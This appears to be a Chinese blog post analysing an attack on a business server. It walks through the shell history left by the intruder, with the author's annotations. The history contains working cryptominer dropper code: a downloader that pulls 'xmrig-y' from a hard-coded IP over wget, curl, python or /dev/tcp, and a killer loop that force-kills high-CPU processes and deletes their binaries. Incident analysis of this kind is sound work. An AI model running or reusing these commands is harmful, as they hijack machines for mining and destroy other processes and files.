起因
昨天下班儿回家的路上,同事突然通过微信发了一个新建 Microsoft office word 2007 文档.docx过来。怀着下班懈怠的想法我并没有打开这个文档:)而且他连名字都不改!懒惰!
稍后上了地铁,得知是一个业务系统被攻击了,业务在不断重启(当时说的是服务器,后来说是软件服务),他发给我的是一个现场的日志。后来听大佬说是可能是误kill了关键服务,所以导致服务重启;
下面先看一下history里的东西
1 |
|
关于这条语句,可以查看这篇文章
看完是不是大概懂了这个bash指令的意思,
好的这条指令的意思是查看$1指令是否存在[拖走],$1是传参的第1个参数值(指令本身是第0个)
920 downloader () {
if checkCmd wget; then//查看wget是否存在
wget $1 -O $2 ;
elif checkCmd curl; then//查看curl是否存在
curl $1 -o $2;
elif checkCmd python; then//查看是否装了python
if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
//判断是不是python3
python -c "from urllib.request import urlopen;
u = urlopen('"$1"'); localFile = open('"$2"', 'wb');
localFile.write(u.read()); localFile.close()";
else
//python2的情况
python -c "from urllib import urlopen;
u = urlopen('"$1"');
localFile = open('"$2"', 'wb');
localFile.write(u.read());
localFile.close()";
fi;
else
cat < /dev/tcp/165.227.215.25/5555 > $2;
//把/dev/tcp/165.227.215.25/5555的内容定向输入到$2
fi;
chmod +x $2;
}
921 killer() {
for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`;
//查看进程里pid,%cpu,command三列,删除第一列,按照第二列排序,取最后10个结果,取第一列的值
//查看进程中cpu占用率最高的10个进程
do
if [ $tmpVar = $sPid ]; then
continue;
//如果pid是shell的pid
fi;
if [ $tmpVar = $mPid ]; then
//如果pid是该脚本的pid
continue;
fi;
if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
//
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then
continue;
fi;
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then
continue;
fi;
if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then
continue;
fi;
kill -9 $tmpVar;
rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`;
fi;
done;
}
922 runer() {
if [ -z "$mPid" ]; then
if [ ! -f $mName ]; then
downloader http://165.227.215.25/xmrig-y $mName;
fi;
chmod +x ./$mName;
./$mName;
fi;
mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`;
}
923 pkill python; pkill $mName
924 downloader http://165.227.215.25/xmrig-y $mName
925 ps -ef|grep java